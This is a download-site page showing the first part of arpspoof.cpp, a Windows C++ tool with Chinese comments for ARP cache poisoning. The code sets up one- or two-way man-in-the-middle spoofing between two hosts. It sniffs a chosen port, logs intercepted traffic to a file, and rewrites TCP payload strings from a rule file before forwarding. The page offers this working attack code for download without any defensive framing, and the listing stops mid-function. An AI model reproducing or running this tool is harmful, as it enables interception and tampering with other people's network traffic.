⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 arpspoof.cpp

📁 关于ARP的一个详细的源代码
💻 CPP
📖 第 1 页 / 共 2 页
字号:
#include <stdio.h>
#include <pcap.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "wpcap.lib")

#include "iphlpapi.h"
#include "protoinfo.h"
#include "spoof.h"
#include "tcp.h"
#include "scan.h"
#include "replace.h"

//
// 存储要替换的字符串的链表结构
//

typedef struct tagSTRLINK
{
	char szOld[256];
	char szNew[256];
	struct tagSTRLINK *next;
}STRLINK, *PSTRLINK;

HANDLE hThread[2]; // 两个发送RARP包的线程
unsigned short g_uPort; // 要监视的端口号
pcap_t *adhandle; // 网卡句柄
HANDLE g_hEvent; // 捕捉 Ctrl+C
int g_uMode; // 欺骗标志 0 表示单向欺骗, 1表示双向欺骗
BOOL bIsReplace = FALSE; // 是否对转发的数据进行替换
BOOL bIsLog = FALSE; // 是否进行数据保存
char szLogfile[MAX_PATH]; // 要保存数据的文件名

// 对应ARPSPOOF结构中的成员
unsigned char ucSelf[6], ucIPA[6], ucIPB[6];
char szIPSelf[16], szIPA[16], szIPB[16], szIPGate[16];

// 初始化链表
PSTRLINK strLink = (PSTRLINK) malloc(sizeof(STRLINK));

char TcpFlag[6]={ 'F','S','R','P','A','U' }; //定义TCP标志位,分析数据包时用

BOOL InitSpoof(char **);
void ResetSpoof();
void Help();

//
// 格式化copy函数,主要是为了替换 '\r', '\n'字符
//

BOOL fstrcpy(char *szSrc, char *szDst)
{
	unsigned int i, j;
	for (i = 0, j=0; i < strlen(szSrc); i++, j++)
	{
		if (szSrc[i] == '\\' && szSrc[i + 1] == 'r') // Replace "\r"
		{
			szDst[j] = '\r';
			i ++;
		}
		else if (szSrc[i] == '\\' && szSrc[i + 1] == 'n') // Replace "\n"
		{
			szDst[j] = '\n';
			i ++;
		}
		else if (szSrc[i] != '\n' && szSrc[i] != '\0')
		{
			szDst[j] = szSrc[i];
		}
		else
		{
			return TRUE;
		}
	}
	szDst[j + 1] = '\0'; // add '\0'
	return TRUE;
}
//
// 把文件中的规则存储到链表中
// 入口参数 szJobfile ==> 规则文件名
// 出口参数 strLink   ==> 指向链表头的指针
//
BOOL ReadJob(char *szJobfile, PSTRLINK strLink)
{
	FILE *fp;
	char szBuff[256], *p = NULL;

	if ((fp = fopen(szJobfile, "rt")) == NULL)
	{
		printf("Job file open error\n");
		return FALSE;
	}

	PSTRLINK pTmp = strLink; // 保存原指针

	while (fgets(szBuff, sizeof(szBuff), fp))
	{
		if (strcmp(szBuff, "----"))
		{
			memset(szBuff, 0, sizeof(szBuff));
			memset(strLink->szOld, 0, sizeof(strLink->szOld));
			fgets(szBuff, sizeof(szBuff), fp);
	
			if (! fstrcpy(szBuff, strLink->szOld))
			{
				printf("[!] job file format error ..\n");
				return FALSE;
			}
			fgets(szBuff, sizeof(szBuff), fp);

			if (strcmp(szBuff, "----"))
			{
				memset(szBuff, 0, sizeof(szBuff));
				memset(strLink->szNew, 0, sizeof(strLink->szNew));
				fgets(szBuff, sizeof(szBuff), fp);
				if (! fstrcpy(szBuff, strLink->szNew))
				{
					printf("[!] job file format error ..\n");
					return FALSE;
				}
			}
			else
			{
				printf("Replace Job file format error, \
					used arpspoof /n release a new job file\n");
				return FALSE;
			}
			strLink->next = (PSTRLINK) malloc(sizeof(STRLINK));
			strLink = strLink->next;
			strLink->next = NULL;
		}
	}
	fclose(fp);
	strLink = pTmp; // 恢复原指针
	return TRUE;
}

//
// 把数据写入文件
// 入口参数: szLogfile ==> 日志文件名 data ==> 指向数据块的空指针 size ==> 数据块大小
// 返回值类型 Boolean
//

BOOL SaveLog(char szLogfile[], const void *data, unsigned int size)
{
	HANDLE hFile;
	DWORD dwBytes;
	hFile = CreateFile(szLogfile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, 
		OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hFile == INVALID_HANDLE_VALUE)
		return FALSE;
	SetFilePointer(hFile, NULL, NULL, FILE_END);
	WriteFile(hFile, data, size, &dwBytes, NULL);
	CloseHandle(hFile);
	return TRUE;
}

//
// 捕获控制台事件的函数,主要是处理程序中断事务
// 

BOOL CtrlHandler( DWORD fdwCtrlType ) 
{ 
	switch (fdwCtrlType) 
	{ 
	// Handle the CTRL-C signal. 
    case CTRL_C_EVENT: 
    case CTRL_CLOSE_EVENT: 
    case CTRL_BREAK_EVENT:  
    case CTRL_LOGOFF_EVENT: 
    case CTRL_SHUTDOWN_EVENT:
		ResetSpoof(); //  恢复欺骗主机的arp cache
		return TRUE;		
    default: 
		return FALSE;
	}
}

// 
//  为公用变量赋值,初始化参数
//
BOOL InitSpoof(char **argv)
{
	// IPSelf, ucSelf 已经在打开网卡时初始化过了
	memset(ucIPA, 0xff, 6);
	memset(ucIPB, 0xff, 6);
	memset(szIPA, 0 ,16);
	memset(szIPB, 0 ,16);
	
	if (!GetMac((char *) argv[1], ucIPA))
	{
		printf("[!] Error Get Mac Address of %s\n", argv[1]);
		return FALSE;
	}

	if (!GetMac((char *) argv[2], ucIPB))
	{
		printf("[!] Error Get Mac Address of %s\n", argv[2]);
		return FALSE;
	}

	strcpy((char *) szIPA, (char *) argv[1]);
	strcpy((char *) szIPB, (char *) argv[2]);
	StaticARP((unsigned char *) szIPA, ucIPA);
	StaticARP((unsigned char *) szIPB, ucIPB);
	g_uPort = atoi(argv[3]);
	g_uMode = atoi(argv[5]);
	return TRUE;
}

//
// 显示ARP欺骗信息 (调试用)
// 加延迟是为了等待参数传递,因为函数公用一个ARPSPOOF变量
//

void SpoofInfo(PARPSPOOF arpspoof)
{
	/*
	printf("Spoof %s %s MAC %.2X-%.2X-%.2X-%.2X-%.2X-%.2X\n",
		arpspoof->szTarget, arpspoof->szIP, 
		arpspoof->ucPretendMAC[0], arpspoof->ucPretendMAC[1],
		arpspoof->ucPretendMAC[2], arpspoof->ucPretendMAC[3],
		arpspoof->ucPretendMAC[4], arpspoof->ucPretendMAC[5]
		);
	*/
	Sleep(100);
}

//
// 处理ARP欺骗例程,开始Spoof
//
void ARPSpoof()
{
	PARPSPOOF arpspoof = (PARPSPOOF) malloc(sizeof(ARPSPOOF));
	arpspoof->adhandle = adhandle;
	memcpy(arpspoof->ucSelfMAC, ucSelf, 6);

	// Spoof IP1 -> IP2
	strcpy((char *) arpspoof->szTarget, szIPA);
	memcpy(arpspoof->ucTargetMAC, ucIPA, 6);
	strcpy((char *) arpspoof->szIP, szIPB);
	memcpy(arpspoof->ucIPMAC, ucIPB, 6);
	memcpy(arpspoof->ucPretendMAC, ucSelf, 6);
	hThread[0] = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)SpoofThread,
		(LPVOID) arpspoof, NULL, NULL);
	SpoofInfo(arpspoof);

	if (g_uMode == 1) // 如果双向欺骗
	{
		// Spoof IP2 -> IP1
		strcpy((char *) arpspoof->szTarget, szIPB);
		memcpy(arpspoof->ucTargetMAC, ucIPB, 6);
		strcpy((char *) arpspoof->szIP, szIPA);
		memcpy(arpspoof->ucIPMAC, ucIPA, 6);
		memcpy(arpspoof->ucPretendMAC, ucSelf, 6);
		hThread[1] = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)SpoofThread,
			(LPVOID) arpspoof, NULL, NULL);
		SpoofInfo(arpspoof);
	}
}

//
// 重置ARP欺骗,恢复受骗主机的ARP cache
//     和ARPSpoof做相反操作
//
void ResetSpoof()
{
	printf("[+] Reseting .....\n");

	TerminateThread(hThread[0], 0);	
	TerminateThread(hThread[1], 0);

	PARPSPOOF arpspoof = (PARPSPOOF) malloc(sizeof(ARPSPOOF));

	arpspoof->adhandle = adhandle;
	strcpy((char *) arpspoof->szTarget, szIPA);
	memcpy(arpspoof->ucTargetMAC, ucIPA, 6);
	strcpy((char *) arpspoof->szIP, szIPB);
	memcpy(arpspoof->ucIPMAC, ucIPB, 6);
	memcpy(arpspoof->ucPretendMAC, ucIPB, 6);
	memcpy(arpspoof->ucSelfMAC, ucSelf, 6);
	hThread[0] = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)SpoofThread,
		(LPVOID) arpspoof, NULL, NULL);
	if(g_uMode == 1)
	{
		Sleep(200);
		strcpy((char *) arpspoof->szTarget, szIPB);
		memcpy(arpspoof->ucTargetMAC, ucIPB, 6);
		strcpy((char *) arpspoof->szIP, szIPA);
		memcpy(arpspoof->ucIPMAC, ucIPA, 6);
		memcpy(arpspoof->ucPretendMAC, ucIPA, 6);
		hThread[1] = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)SpoofThread,
			(LPVOID) arpspoof, NULL, NULL);
	}

	printf("[-] Sleep 5s ");
	for(int i = 0; i < 12; i++, Sleep(300))
			printf(".");
	printf("\n");
	TerminateThread(hThread[0], 0);	
	TerminateThread(hThread[1], 0);

	// pcap_breakloop后,所有对网卡的操作都会使用程序中止,切记
	pcap_breakloop(adhandle); 
}

//
// 替换数据包中内容, 重新计算校验和
//
void ReplacePacket(const u_char *pkt_data, unsigned int pkt_len)
{
	ETHeader *eh;
    IPHeader *ih;
    TCPHeader *th;
    u_int ip_len;

	eh = (ETHeader *) pkt_data;
	ih = (IPHeader *) (pkt_data + 14);
	ip_len = (ih->iphVerLen & 0xf) * 4;
	th = (TCPHeader *) ((u_char*)ih + ip_len);

	// 得到TCP数据包的指针和长度
	unsigned char *datatcp = (unsigned char *) ih + sizeof(_IPHeader) 
		+ sizeof(struct _TCPHeader);
	int lentcp = ntohs(ih->ipLength) - (sizeof(_IPHeader) + sizeof(_TCPHeader));

	// 开始替换数据内容,重新计算校验和
	PSTRLINK pTmp = strLink;
	int i = 0;
	while (pTmp->next)
	{
		// 开始匹配规则进行替换
		if (Replace(datatcp, lentcp, pTmp->szOld, pTmp->szNew))
		{

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -